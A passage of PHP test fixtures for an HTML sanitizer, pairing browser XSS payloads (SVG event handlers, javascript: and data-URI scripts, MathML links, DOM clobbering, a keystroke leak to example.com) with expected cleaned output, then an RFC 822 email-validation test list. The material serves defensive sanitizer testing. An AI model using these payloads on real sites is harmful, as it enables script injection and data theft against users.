'payload' => "<div id=\"93\"><div style=\"list-style:url(http://foo.f)\u0010url(javascript:alert(93));\">X</div>//[\"'`-->]]>]</div>",
'expected' => "<div id=\"93\"><div style=\"list-style:url(http://foo.f)\u0010url(javascript:alert(93));\">X</div>",
],
[
'title' => '',
'payload' => "<div id=\"94\"><svg xmlns=\"http://www.w3.org/2000/svg\">\n<handler xmlns:ev=\"http://www.w3.org/2001/xml-events\" ev:event=\"load\">alert(94)</handler>\n</svg>//[\"'`-->]]>]</div>",
'expected' => "<div id=\"94\">\nalert(94)\n",
],
[
'title' => '',
'payload' => "<div id=\"95\"><svg xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\">\n<feImage>\n<set attributeName=\"xlink:href\" to=\"data:image/svg+xml;charset=utf-8;base64,\nPHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxzY3JpcHQ%2BYWxlcnQoMSk8L3NjcmlwdD48L3N2Zz4NCg%3D%3D\"/>\n</feImage>\n</svg>//[\"'`-->]]>]</div>",
'expected' => "<div id=\"95\">\n\n\n\n",
],
[
'title' => '',
'payload' => "<div id=\"96\"><iframe src=mhtml:http://html5sec.org/test.html!xss.html></iframe>\n<iframe src=mhtml:http://html5sec.org/test.gif!xss.html></iframe>//[\"'`-->]]>]</div>",
'expected' => '<div id="96">',
],
[
'title' => '',
'payload' => "<div id=\"97\"><!-- IE 5-9 -->\n<div id=d><x xmlns=\"><iframe onload=alert(97)\"></div>\n<script>d.innerHTML+='';</script>\n<!-- IE 10 in IE5-9 Standards mode -->\n<div id=d><x xmlns='\"><iframe onload=alert(2)//'></div>\n<script>d.innerHTML+='';</script>//[\"'`-->]]>]</div>",
'expected' => "<div id=\"97\">\n",
],
[
'title' => '',
'payload' => "<div id=\"98\"><div id=d><div style=\"font-family:'sans\u0017\u0002F\u0002A\u0012\u0002A\u0002F\u0003B color\u0003Ared\u0003B'\">X</div></div>\n<script>with(document.getElementById(\"d\"))innerHTML=innerHTML</script>//[\"'`-->]]>]</div>",
'expected' => '<div id="98">',
],
[
'title' => '',
'payload' => "<div id=\"99\">XXX<style>\n\n*{color:gre/**/en !/**/important} /* IE 6-9 Standards mode */\n\n<!--\n--><!--*{color:red} /* all UA */\n\n*{background:url(xx //**/\red/*)} /* IE 6-7 Standards mode */\n\n</style>//[\"'`-->]]>]</div>",
'expected' => '<div id="99">XXX',
],
[
'title' => '',
'payload' => "<div id=\"100\"><img[a][b]src=x[d]onerror[c]=[e]\"alert(100)\">//[\"'`-->]]>]</div>",
'expected' => '<div id="100">',
],
[
'title' => '',
'payload' => "<div id=\"101\"><a href=\"[a]java[b]script[c]:alert(101)\">XXX</a>//[\"'`-->]]>]</div>",
'expected' => '<div id="101"><a href="[a]java[b]script[c]:alert(101)">XXX</a>',
],
[
'title' => '',
'payload' => "<div id=\"102\"><img src=\"x` `<script>alert(102)</script>\"` `>//[\"'`-->]]>]</div>",
'expected' => '<div id="102">',
],
[
'title' => '',
'payload' => "<div id=\"103\"><script>history.pushState(0,0,'/i/am/somewhere_else');</script>//[\"'`-->]]>]</div><div id=\"104\"><svg xmlns=\"http://www.w3.org/2000/svg\" id=\"foo\">\n<x xmlns=\"http://www.w3.org/2001/xml-events\" event=\"load\" observer=\"foo\" handler=\"data:image/svg+xml,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%0A%3Chandler%20xml%3Aid%3D%22bar%22%20type%3D%22application%2Fecmascript%22%3E alert(104) %3C%2Fhandler%3E%0A%3C%2Fsvg%3E%0A#bar\"/>\n</svg>//[\"'`-->]]>]</div>",
'expected' => "<div id=\"103\">history.pushState(0,0,'/i/am/somewhere_else');",
],
[
'title' => '',
'payload' => "<div id=\"105\"><iframe src=\"data:image/svg-xml,%1F%8B%08%00%00%00%00%00%02%03%B3)N.%CA%2C(Q%A8%C8%CD%C9%2B%B6U%CA())%B0%D2%D7%2F%2F%2F%D7%2B7%D6%CB%2FJ%D77%B4%B4%B4%D4%AF%C8(%C9%CDQ%B2K%CCI-*%D10%D4%B4%D1%87%E8%B2%03\"></iframe>//[\"'`-->]]>]</div>",
'expected' => '<div id="105"><iframe src="data:image/svg-xml,%1F%8B%08%00%00%00%00%00%02%03%B3)N.%CA%2C(Q%A8%C8%CD%C9%2B%B6U%CA())%B0%D2%D7%2F%2F%2F%D7%2B7%D6%CB%2FJ%D77%B4%B4%B4%D4%AF%C8(%C9%CDQ%B2K%CCI-*%D10%D4%B4%D1%87%E8%B2%03"></iframe>',
],
[
'title' => '',
'payload' => "<div id=\"106\"><img src onerror /\" '\"= alt=alert(106)//\">//[\"'`-->]]>]</div>",
'expected' => '<div id="106">',
],
[
'title' => '',
'payload' => "<div id=\"107\"><title onpropertychange=alert(107)></title><title title=></title>//[\"'`-->]]>]</div>",
'expected' => '<div id="107">',
],
[
'title' => '',
'payload' => "<div id=\"108\"><!-- IE 5-8 standards mode -->\n<a href=http://foo.bar/#x=`y></a><img alt=\"`><img src=xx onerror=alert(108)></a>\">\n<!-- IE 5-9 standards mode -->\n<!a foo=x=`y><img alt=\"`><img src=xx onerror=alert(2)//\">\n<?a foo=x=`y><img alt=\"`><img src=xx onerror=alert(3)//\">//[\"'`-->]]>]</div>",
'expected' => "<div id=\"108\">\n",
],
[
'title' => '',
'payload' => "<div id=\"109\"><svg xmlns=\"http://www.w3.org/2000/svg\">\n<a id=\"x\"><rect fill=\"white\" width=\"1000\" height=\"1000\"/></a>\n<rect fill=\"white\" style=\"clip-path:url(test3.svg#a);fill:url(#b);filter:url(#c);marker:url(#d);mask:url(#e);stroke:url(#f);\"/>\n</svg>//[\"'`-->]]>]</div>",
'expected' => "<div id=\"109\">\n<a id=\"x\"></a>\n\n",
],
[
'title' => '',
'payload' => "<div id=\"110\"><svg xmlns=\"http://www.w3.org/2000/svg\">\n<path d=\"M0,0\" style=\"marker-start:url(test4.svg#a)\"/>\n</svg>//[\"'`-->]]>]</div>",
'expected' => "<div id=\"110\">\n\n",
],
[
'title' => '',
'payload' => "<div id=\"111\"><div style=\"background:url(/f#[a]oo/;color:red/*/foo.jpg);\">X</div>//[\"'`-->]]>]</div>",
'expected' => '<div id="111"><div style="background:url(/f#[a]oo/;color:red/*/foo.jpg);">X</div>',
],
[
'title' => '',
'payload' => "<div id=\"112\"><div style=\"font-family:foo{bar;background:url(http://foo.f/oo};color:red/*/foo.jpg);\">X</div>//[\"'`-->]]>]</div><div id=\"113\"><div id=\"x\">XXX</div>\n<style>\n\n#x{font-family:foo[bar;color:green;}\n\n#y];color:red;{}\n\n</style>//[\"'`-->]]>]</div>",
'expected' => '<div id="112"><div style="font-family:foo{bar;background:url(http://foo.f/oo};color:red/*/foo.jpg);">X</div>',
],
[
'title' => '',
'payload' => "<div id=\"114\"><x style=\"background:url('x[a];color:red;/*')\">XXX</x>//[\"'`-->]]>]</div><div id=\"115\"><!--[if]><script>alert(115)</script -->\n<!--[if<img src=x onerror=alert(2)//]> -->//[\"'`-->]]>]</div>",
'expected' => '<div id="114">XXX',
],
[
'title' => 'XML',
'payload' => "<div id=\"116\"><div id=\"x\">x</div>\n<xml:namespace prefix=\"t\">\n<import namespace=\"t\" implementation=\"#default#time2\">\n<t:set attributeName=\"innerHTML\" targetElement=\"x\" to=\"<img\u000Bsrc=x\u000Bonerror\u000B=alert(116)>\">//[\"'`-->]]>]</div>",
'expected' => "<div id=\"116\"><div id=\"x\">x</div>\n\n\n",
],
[
'title' => 'iframe',
'payload' => "<div id=\"117\"><a href=\"http://attacker.org\">\n <iframe src=\"http://example.org/\"></iframe>\n</a>//[\"'`-->]]>]</div>",
'expected' => "<div id=\"117\"><a href=\"http://attacker.org\">\n <iframe src=\"http://example.org/\"></iframe>\n</a>",
],
[
'title' => 'Drag & drop',
'payload' => "<div id=\"118\"><div draggable=\"true\" ondragstart=\"event.dataTransfer.setData('text/plain','malicious code');\">\n <h1>Drop me</h1>\n</div>\n<iframe src=\"http://www.example.org/dropHere.html\"></iframe>//[\"'`-->]]>]</div>",
'expected' => "<div id=\"118\"><div draggable=\"true\">\n <h1>Drop me</h1>\n</div>\n<iframe src=\"http://www.example.org/dropHere.html\"></iframe>",
],
[
'title' => 'view-source',
'payload' => '<div id="119"><iframe src="view-source:http://www.example.org/" frameborder="0" style="width:400px;height:180px"></iframe>',
'expected' => '<div id="119"><iframe src="#" frameborder="0" style="width:400px;height:180px"></iframe>',
],
[
'title' => '',
'payload' => "<textarea type=\"text\" cols=\"50\" rows=\"10\"></textarea>//[\"'`-->]]>]</div>",
'expected' => '<textarea cols="50" rows="10"></textarea>',
],
[
'title' => 'window.open',
'payload' => "<div id=\"120\"><script>\nfunction makePopups(){\n for (i=1;i<6;i++) {\n window.open('popup.html','spam'+i,'width=50,height=50');\n }\n}\n</script>\n<body>\n<a href=\"#\" onclick=\"makePopups()\">Spam</a>//[\"'`-->]]>]</div>",
'expected' => "<div id=\"120\">\nfunction makePopups(){\n for (i=1;i",
],
[
'title' => '',
'payload' => "<div id=\"121\"><html xmlns=\"http://www.w3.org/1999/xhtml\"\nxmlns:svg=\"http://www.w3.org/2000/svg\">\n<body style=\"background:gray\">\n<iframe src=\"http://example.com/\" style=\"width:800px; height:350px; border:none; mask: url(#maskForClickjacking);\"/>\n<svg:svg>\n<svg:mask id=\"maskForClickjacking\" maskUnits=\"objectBoundingBox\" maskContentUnits=\"objectBoundingBox\">\n <svg:rect x=\"0.0\" y=\"0.0\" width=\"0.373\" height=\"0.3\" fill=\"white\"/>\n <svg:circle cx=\"0.45\" cy=\"0.7\" r=\"0.075\" fill=\"white\"/>\n</svg:mask>\n</svg:svg>\n</body>\n</html>//[\"'`-->]]>]</div>",
'expected' => "<div id=\"121\">\n\n<iframe src=\"http://example.com/\" style=\"width:800px; height:350px; border:none; mask: url(#maskForClickjacking);\"></iframe>\n\n\n \n \n\n\n\n",
],
[
'title' => 'iframe (sandboxed)',
'payload' => "<div id=\"122\"><iframe sandbox=\"allow-same-origin allow-forms allow-scripts\" src=\"http://example.org/\"></iframe>//[\"'`-->]]>]</div>",
'expected' => '<div id="122"><iframe sandbox="allow-same-origin allow-forms allow-scripts" src="http://example.org/"></iframe>',
],
[
'title' => '',
'payload' => "<div id=\"123\"><span class=foo>Some text</span>\n<a class=bar href=\"http://www.example.org\">www.example.org</a>\n<script src=\"http://code.jquery.com/jquery-1.4.4.js\"></script>\n<script>\n$(\"span.foo\").click(function() {\nalert('foo');\n$(\"a.bar\").click();\n});\n$(\"a.bar\").click(function() {\nalert('bar');\nlocation=\"http://html5sec.org\";\n});\n</script>//[\"'`-->]]>]</div>",
'expected' => '<div id="123">',
],
[
'title' => '',
'payload' => "<div id=\"124\"><script src=\"/example.com\foo.js\"></script> // Safari 5.0, Chrome 9, 10\n<script src=\"\\example.com\foo.js\"></script> // Safari 5.0//[\"'`-->]]>]</div>",
'expected' => '<div id="124">',
],
[
'title' => '',
'payload' => "<div id=\"125\"><?xml version=\"1.0\"?><?xml-stylesheet type=\"text/xml\" href=\"#stylesheet\"?><!DOCTYPE doc [<!ATTLIST xsl:stylesheet id ID #REQUIRED>]><svg xmlns=\"http://www.w3.org/2000/svg\"> <xsl:stylesheet id=\"stylesheet\" version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\"> <xsl:template match=\"/\"> <iframe xmlns=\"http://www.w3.org/1999/xhtml\" src=\"javascript:alert(125)\"></iframe> </xsl:template> </xsl:stylesheet> <circle fill=\"red\" r=\"40\"></circle></svg>//[\"'`-->]]>]</div>",
'expected' => '<div id="125">&gt;?xml version=&quot;1.0&quot;?&lt;&gt;?xml-stylesheet type=&quot;text/xml&quot; href=&quot;#stylesheet&quot;?&lt;',
],
[
'title' => '',
'payload' => "<div id=\"126\"><object id=\"x\" classid=\"clsid:CB927D12-4FF7-4a9e-A169-56E4B8A75598\"></object>\n<object classid=\"clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B\" onqt_error=\"alert(126)\" style=\"behavior:url(#x);\"><param name=postdomevents /></object>//[\"'`-->]]>]</div>",
'expected' => "<div id=\"126\"><object id=\"x\" classid=\"#\"></object>\n<object classid=\"#\" style=\"behavior:url(#x);\">",
],
[
'title' => '',
'payload' => "<div id=\"127\"><svg xmlns=\"http://www.w3.org/2000/svg\" id=\"x\">\n<listener event=\"load\" handler=\"#y\" xmlns=\"http://www.w3.org/2001/xml-events\" observer=\"x\"/>\n<handler id=\"y\">alert(127)</handler>\n</svg>//[\"'`-->]]>]</div>",
'expected' => "<div id=\"127\">\n\nalert(127)\n",
],
[
'title' => '',
'payload' => "<div id=\"128\"><svg><style><img/src=x onerror=alert(128)// </b>//[\"'`-->]]>]</div>",
'expected' => '<div id="128">',
],
[
'title' => 'Inline SVG (data-uri)',
'payload' => "<div id=\"129\"><svg><image style='filter:url(\"data:image/svg+xml,<svg xmlns=%22http://www.w3.org/2000/svg%22><script>parent.alert(129)</script></svg>\")'>\n<!--\nSame effect with\n<image filter='...'>\n-->\n</svg>//[\"'`-->]]>]</div>",
'expected' => '<div id="129">',
],
[
'title' => 'MathML',
'payload' => "<div id=\"130\"><math href=\"javascript:alert(130)\">CLICKME</math>\n<math>\n<!-- up to FF 13 -->\n<maction actiontype=\"statusline#http://google.com\" xlink:href=\"javascript:alert(2)\">CLICKME</maction>\n\n<!-- FF 14+ -->\n<maction actiontype=\"statusline\" xlink:href=\"javascript:alert(3)\">CLICKME<mtext>http://http://google.com</mtext></maction>\n</math>//[\"'`-->]]>]</div>",
'expected' => "<div id=\"130\">CLICKME\n\n\nCLICKME\n\n\nCLICKMEhttp://http://google.com\n",
],
[
'title' => '',
'payload' => "<div id=\"132\"><!doctype html>\n<form>\n<label>type a,b,c,d - watch the network tab/traffic (JS is off, latest NoScript)</label>\n<br>\n<input name=\"secret\" type=\"password\">\n</form>\n<!-- injection --><svg height=\"50px\">\n<image xmlns:xlink=\"http://www.w3.org/1999/xlink\">\n<set attributeName=\"xlink:href\" begin=\"accessKey(a)\" to=\"//example.com/?a\" />\n<set attributeName=\"xlink:href\" begin=\"accessKey(b)\" to=\"//example.com/?b\" />\n<set attributeName=\"xlink:href\" begin=\"accessKey(c)\" to=\"//example.com/?c\" />\n<set attributeName=\"xlink:href\" begin=\"accessKey(d)\" to=\"//example.com/?d\" />\n</image>\n</svg>//[\"'`-->]]>]</div>",
'expected' => '<div id="132">',
],
[
'title' => '',
'payload' => "<div id=\"133\"><!-- `<img/src=xxx onerror=alert(133)//--!>//[\"'`-->]]>]</div>",
'expected' => '<div id="133">',
],
[
'title' => 'XMP',
'payload' => "<div id=\"134\"><xmp>\n<%\n</xmp>\n<img alt='%></xmp><img src=xx onerror=alert(134)//'>\n\n<script>\nx='<%'\n</script> %>/\nalert(2)\n</script>\n\nXXX\n<style>\n*['<!--']{}\n</style>\n-->{}\n*{color:red}</style>//[\"'`-->]]>]</div>",
'expected' => "<div id=\"134\">\n",
],
[
'title' => 'SVG',
'payload' => "<div id=\"135\"><?xml-stylesheet type=\"text/xsl\" href=\"#\" ?>\n<stylesheet xmlns=\"http://www.w3.org/TR/WD-xsl\">\n<template match=\"/\">\n<eval>new ActiveXObject('htmlfile').parentWindow.alert(135)</eval>\n<if expr=\"new ActiveXObject('htmlfile').parentWindow.alert(2)\"></if>\n</template>\n</stylesheet>//[\"'`-->]]>]</div>",
'expected' => "<div id=\"135\">&gt;?xml-stylesheet type=&quot;text/xsl&quot; href=&quot;#&quot; ?&lt;\n\n<template>\nnew ActiveXObject('htmlfile').parentWindow.alert(135)\n\n</template>\n",
],
[
'title' => '',
'payload' => "<div id=\"136\"><form action=\"x\" method=\"post\">\n<input name=\"username\" value=\"admin\" />\n<input name=\"password\" type=\"password\" value=\"secret\" />\n<input name=\"injected\" value=\"injected\" dirname=\"password\" />\n<input type=\"submit\">\n</form>//[\"'`-->]]>]</div>",
'expected' => "<div id=\"136\"><form action=\"x\" method=\"post\">\n<input name=\"username\" value=\"admin\" />\n<input name=\"password\" type=\"password\" value=\"secret\" />\n<input name=\"injected\" value=\"injected\" />\n<input type=\"submit\" />\n",
],
[
'title' => 'SVG',
'payload' => "<div id=\"137\"><svg>\n<a xmlns:xlink=\"http://www.w3.org/1999/xlink\" xlink:href=\"?\">\n<circle r=\"400\"></circle>\n<animate attributeName=\"xlink:href\" begin=\"0\" from=\"javascript:alert(137)\" to=\"&\" />\n</a>//[\"'`-->]]>]</div>",
'expected' => "<div id=\"137\">\n<a>\n\n\n</a>",
],
[
'title' => 'Removing name attr from img with id can crash Safari',
'payload' => '<img name="bar" id="foo">',
'expected' => '<img name="bar" id="foo" />',
],
[
'title' => 'DOM clobbering: submit',
'payload' => '<input name=submit>123',
'expected' => '',
],
[
'title' => 'DOM clobbering: acceptCharset',
'payload' => '<input name=acceptCharset>123',
'expected' => '',
],
[
'title' => 'Testing support for sizes and srcset',
'payload' => '<img src="small.jpg" srcset="medium.jpg 1000w, large.jpg 2000w">',
'expected' => '<img src="small.jpg" srcset="medium.jpg 1000w, large.jpg 2000w" />',
],
[
'title' => "See #264 and Edge's weird attribute name errors",
'payload' => '<div &nbsp;=""></div>',
'expected' => '',
],
];

View file

@ -0,0 +1,285 @@
<?php
// test suite from https://code.iamcal.com/php/rfc822/tests/
// Commented expected values are those that PHP filter_var() failed to validate/unvalidate
$emailTest = [
['payload' => 'first.last@iana.org', 'expected' => true],
['payload' => '1234567890123456789012345678901234567890123456789012345678901234@iana.org', 'expected' => true],
['payload' => 'first.last@sub.do,com', 'expected' => false],
['payload' => '"first\"last"@iana.org', 'expected' => true],
['payload' => 'first\@last@iana.org', 'expected' => false],
['payload' => '"first@last"@iana.org', 'expected' => true],
['payload' => '"first\\last"@iana.org', 'expected' => true],
['payload' => 'x@x23456789.x23456789.x23456789.x23456789.x23456789.x23456789.x23456789.x23456789.x23456789.x23456789.x23456789.x23456789.x23456789.x23456789.x23456789.x23456789.x23456789.x23456789.x23456789.x23456789.x23456789.x23456789.x23456789.x23456789.x23456789.x2', 'expected' => true],
['payload' => '1234567890123456789012345678901234567890123456789012345678@12345678901234567890123456789012345678901234567890123456789.12345678901234567890123456789012345678901234567890123456789.123456789012345678901234567890123456789012345678901234567890123.iana.org', 'expected' => true],
['payload' => 'first.last@[12.34.56.78]', 'expected' => true],
['payload' => 'first.last@[IPv6:::12.34.56.78]', 'expected' => true],
['payload' => 'first.last@[IPv6:1111:2222:3333::4444:12.34.56.78]', 'expected' => true],
['payload' => 'first.last@[IPv6:1111:2222:3333:4444:5555:6666:12.34.56.78]', 'expected' => true],
['payload' => 'first.last@[IPv6:::1111:2222:3333:4444:5555:6666]', 'expected' => true],
['payload' => 'first.last@[IPv6:1111:2222:3333::4444:5555:6666]', 'expected' => true],
['payload' => 'first.last@[IPv6:1111:2222:3333:4444:5555:6666::]', 'expected' => true],
['payload' => 'first.last@[IPv6:1111:2222:3333:4444:5555:6666:7777:8888]', 'expected' => true],
['payload' => 'first.last@x23456789012345678901234567890123456789012345678901234567890123.iana.org', 'expected' => true],
['payload' => 'first.last@3com.com', 'expected' => true],
['payload' => 'first.last@123.iana.org', 'expected' => true],
['payload' => '123456789012345678901234567890123456789012345678901234567890@12345678901234567890123456789012345678901234567890123456789.12345678901234567890123456789012345678901234567890123456789.12345678901234567890123456789012345678901234567890123456789.12345.iana.org', 'expected' => false],
['payload' => 'first.last', 'expected' => false],
['payload' => '12345678901234567890123456789012345678901234567890123456789012345@iana.org', 'expected' => false],
['payload' => '.first.last@iana.org', 'expected' => false],
['payload' => 'first.last.@iana.org', 'expected' => false],
['payload' => 'first..last@iana.org', 'expected' => false],
['payload' => '"first"last"@iana.org', 'expected' => false],
['payload' => '"first\last"@iana.org', 'expected' => true],
['payload' => '"""@iana.org', 'expected' => false],
['payload' => '"\"@iana.org', 'expected' => false],
['payload' => '""@iana.org', 'expected' => true], // [30] false),
['payload' => 'first\\@last@iana.org', 'expected' => false],
['payload' => 'first.last@', 'expected' => false],
['payload' => 'x@x23456789.x23456789.x23456789.x23456789.x23456789.x23456789.x23456789.x23456789.x23456789.x23456789.x23456789.x23456789.x23456789.x23456789.x23456789.x23456789.x23456789.x23456789.x23456789.x23456789.x23456789.x23456789.x23456789.x23456789.x23456789.x23456', 'expected' => false],
['payload' => 'first.last@[.12.34.56.78]', 'expected' => false],
['payload' => 'first.last@[12.34.56.789]', 'expected' => false],
['payload' => 'first.last@[::12.34.56.78]', 'expected' => false],
['payload' => 'first.last@[IPv5:::12.34.56.78]', 'expected' => false],
['payload' => 'first.last@[IPv6:1111:2222:3333::4444:5555:12.34.56.78]', 'expected' => false], // [38] true),
['payload' => 'first.last@[IPv6:1111:2222:3333:4444:5555:12.34.56.78]', 'expected' => false],
['payload' => 'first.last@[IPv6:1111:2222:3333:4444:5555:6666:7777:12.34.56.78]', 'expected' => false],
['payload' => 'first.last@[IPv6:1111:2222:3333:4444:5555:6666:7777]', 'expected' => false],
['payload' => 'first.last@[IPv6:1111:2222:3333:4444:5555:6666:7777:8888:9999]', 'expected' => false],
['payload' => 'first.last@[IPv6:1111:2222::3333::4444:5555:6666]', 'expected' => false],
['payload' => 'first.last@[IPv6:1111:2222:3333::4444:5555:6666:7777]', 'expected' => false], // [44] true),
['payload' => 'first.last@[IPv6:1111:2222:333x::4444:5555]', 'expected' => false],
['payload' => 'first.last@[IPv6:1111:2222:33333::4444:5555]', 'expected' => false],
['payload' => 'first.last@example.123', 'expected' => false], // [47] true),
['payload' => 'first.last@com', 'expected' => false], // [48] true),
['payload' => 'first.last@-xample.com', 'expected' => false],
['payload' => 'first.last@exampl-.com', 'expected' => false],
['payload' => 'first.last@x234567890123456789012345678901234567890123456789012345678901234.iana.org', 'expected' => false],
['payload' => '"Abc\@def"@iana.org', 'expected' => true],
['payload' => '"Fred\ Bloggs"@iana.org', 'expected' => true],
['payload' => '"Joe.\\Blow"@iana.org', 'expected' => true],
['payload' => '"Abc@def"@iana.org', 'expected' => true],
['payload' => '"Fred Bloggs"@iana.org', 'expected' => false], // [56] true),
['payload' => 'user+mailbox@iana.org', 'expected' => true],
['payload' => 'customer/department=shipping@iana.org', 'expected' => true],
['payload' => '$A12345@iana.org', 'expected' => true],
['payload' => '!def!xyz%abc@iana.org', 'expected' => true],
['payload' => '_somename@iana.org', 'expected' => true],
['payload' => 'dclo@us.ibm.com', 'expected' => true],
['payload' => 'abc\@def@iana.org', 'expected' => false],
['payload' => 'abc\\@iana.org', 'expected' => false],
['payload' => 'peter.piper@iana.org', 'expected' => true],
['payload' => 'Doug\ \"Ace\"\ Lovell@iana.org', 'expected' => false],
['payload' => '"Doug \"Ace\" L."@iana.org', 'expected' => false], // [67] true),
['payload' => 'abc@def@iana.org', 'expected' => false],
['payload' => 'abc\\@def@iana.org', 'expected' => false],
['payload' => 'abc\@iana.org', 'expected' => false],
['payload' => '@iana.org', 'expected' => false],
['payload' => 'doug@', 'expected' => false],
['payload' => '"qu@iana.org', 'expected' => false],
['payload' => 'ote"@iana.org', 'expected' => false],
['payload' => '.dot@iana.org', 'expected' => false],
['payload' => 'dot.@iana.org', 'expected' => false],
['payload' => 'two..dot@iana.org', 'expected' => false],
['payload' => '"Doug "Ace" L."@iana.org', 'expected' => false],
['payload' => 'Doug\ \"Ace\"\ L\.@iana.org', 'expected' => false],
['payload' => 'hello world@iana.org', 'expected' => false],
['payload' => 'gatsby@f.sc.ot.t.f.i.tzg.era.l.d.', 'expected' => false],
['payload' => 'test@iana.org', 'expected' => true],
['payload' => 'TEST@iana.org', 'expected' => true],
['payload' => '1234567890@iana.org', 'expected' => true],
['payload' => 'test+test@iana.org', 'expected' => true],
['payload' => 'test-test@iana.org', 'expected' => true],
['payload' => 't*est@iana.org', 'expected' => true],
['payload' => '+1~1+@iana.org', 'expected' => true],
['payload' => '{_test_}@iana.org', 'expected' => true],
['payload' => '"[[ test ]]"@iana.org', 'expected' => false], // [90] true),
['payload' => 'test.test@iana.org', 'expected' => true],
['payload' => '"test.test"@iana.org', 'expected' => true],
['payload' => 'test."test"@iana.org', 'expected' => true],
['payload' => '"test@test"@iana.org', 'expected' => true],
['payload' => 'test@123.123.123.x123', 'expected' => true],
['payload' => 'test@123.123.123.123', 'expected' => false], // [96] true),
['payload' => 'test@[123.123.123.123]', 'expected' => true],
['payload' => 'test@example.iana.org', 'expected' => true],
['payload' => 'test@example.example.iana.org', 'expected' => true],
['payload' => 'test.iana.org', 'expected' => false],
['payload' => 'test.@iana.org', 'expected' => false],
['payload' => 'test..test@iana.org', 'expected' => false],
['payload' => '.test@iana.org', 'expected' => false],
['payload' => 'test@test@iana.org', 'expected' => false],
['payload' => 'test@@iana.org', 'expected' => false],
['payload' => '-- test --@iana.org', 'expected' => false],
['payload' => '[test]@iana.org', 'expected' => false],
['payload' => '"test\test"@iana.org', 'expected' => true],
['payload' => '"test"test"@iana.org', 'expected' => false],
['payload' => '()[]\;:,><@iana.org', 'expected' => false],
['payload' => 'test@.', 'expected' => false],
['payload' => 'test@example.', 'expected' => false],
['payload' => 'test@.org', 'expected' => false],
['payload' => 'test@123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012.com', 'expected' => false],
['payload' => 'test@example', 'expected' => false], // [115] true),
['payload' => 'test@[123.123.123.123', 'expected' => false],
['payload' => 'test@123.123.123.123]', 'expected' => false],
['payload' => 'NotAnEmail', 'expected' => false],
['payload' => '@NotAnEmail', 'expected' => false],
['payload' => '"test\\blah"@iana.org', 'expected' => true],
['payload' => '"test\blah"@iana.org', 'expected' => true],
['payload' => '"test\&#13;blah"@iana.org', 'expected' => true],
['payload' => '"test&#13;blah"@iana.org', 'expected' => true], // [123] false),
['payload' => '"test\"blah"@iana.org', 'expected' => true],
['payload' => '"test"blah"@iana.org', 'expected' => false],
['payload' => 'customer/department@iana.org', 'expected' => true],
['payload' => '_Yosemite.Sam@iana.org', 'expected' => true],
['payload' => '~@iana.org', 'expected' => true],
['payload' => '.wooly@iana.org', 'expected' => false],
['payload' => 'wo..oly@iana.org', 'expected' => false],
['payload' => 'pootietang.@iana.org', 'expected' => false],
['payload' => '.@iana.org', 'expected' => false],
['payload' => '"Austin@Powers"@iana.org', 'expected' => true],
['payload' => 'Ima.Fool@iana.org', 'expected' => true],
['payload' => '"Ima.Fool"@iana.org', 'expected' => true],
['payload' => '"Ima Fool"@iana.org', 'expected' => false], // [136] true),
['payload' => 'Ima Fool@iana.org', 'expected' => false],
['payload' => 'phil.h\@\@ck@haacked.com', 'expected' => false],
['payload' => '"first"."last"@iana.org', 'expected' => true],
['payload' => '"first".middle."last"@iana.org', 'expected' => true],
['payload' => '"first\\"last"@iana.org', 'expected' => true], // [141] false),
['payload' => '"first".last@iana.org', 'expected' => true],
['payload' => 'first."last"@iana.org', 'expected' => true],
['payload' => '"first"."middle"."last"@iana.org', 'expected' => true],
['payload' => '"first.middle"."last"@iana.org', 'expected' => true],
['payload' => '"first.middle.last"@iana.org', 'expected' => true],
['payload' => '"first..last"@iana.org', 'expected' => true],
['payload' => 'foo@[\1.2.3.4]', 'expected' => false],
['payload' => '"first\\\"last"@iana.org', 'expected' => false], // [149] true),
['payload' => 'first."mid\dle"."last"@iana.org', 'expected' => true],
['payload' => 'Test.&#13;&#10; Folding.&#13;&#10; Whitespace@iana.org', 'expected' => false], // [151] true),
['payload' => 'first."".last@iana.org', 'expected' => true], // [152] false),
['payload' => 'first\last@iana.org', 'expected' => false],
['payload' => 'Abc\@def@iana.org', 'expected' => false],
['payload' => 'Fred\ Bloggs@iana.org', 'expected' => false],
['payload' => 'Joe.\\Blow@iana.org', 'expected' => false],
['payload' => 'first.last@[IPv6:1111:2222:3333:4444:5555:6666:12.34.567.89]', 'expected' => false],
['payload' => '"test\&#13;&#10; blah"@iana.org', 'expected' => false],
['payload' => '"test&#13;&#10; blah"@iana.org', 'expected' => false], // [159] true),
['payload' => '{^c\@**Dog^}@cartoon.com', 'expected' => false],
['payload' => '(foo)cal(bar)@(baz)iamcal.com(quux)', 'expected' => false], // [161] true),
['payload' => 'cal@iamcal(woo).(yay)com', 'expected' => false], // [162] true),
['payload' => '"foo"(yay)@(hoopla)[1.2.3.4]', 'expected' => false],
['payload' => 'cal(woo(yay)hoopla)@iamcal.com', 'expected' => false], // [164] true),
['payload' => 'cal(foo\@bar)@iamcal.com', 'expected' => false], // [165] true),
['payload' => 'cal(foo\)bar)@iamcal.com', 'expected' => false], // [166] true),
['payload' => 'cal(foo(bar)@iamcal.com', 'expected' => false],
['payload' => 'cal(foo)bar)@iamcal.com', 'expected' => false],
['payload' => 'cal(foo\)@iamcal.com', 'expected' => false],
['payload' => 'first().last@iana.org', 'expected' => false], // [170] true),
['payload' => 'first.(&#13;&#10; middle&#13;&#10; )last@iana.org', 'expected' => false], // [171] true),
['payload' => 'first(12345678901234567890123456789012345678901234567890)last@(1234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890)iana.org', 'expected' => false],
['payload' => 'first(Welcome to&#13;&#10; the ("wonderful" (!)) world&#13;&#10; of email)@iana.org', 'expected' => false], // [173] true),
['payload' => 'pete(his account)@silly.test(his host)', 'expected' => false], // [174] true),
['payload' => 'c@(Chris\'s host.)public.example', 'expected' => false], // [175] true),
['payload' => 'jdoe@machine(comment). example', 'expected' => false], // [176] true),
['payload' => '1234 @ local(blah) .machine .example', 'expected' => false], // [177] true),
['payload' => 'first(middle)last@iana.org', 'expected' => false],
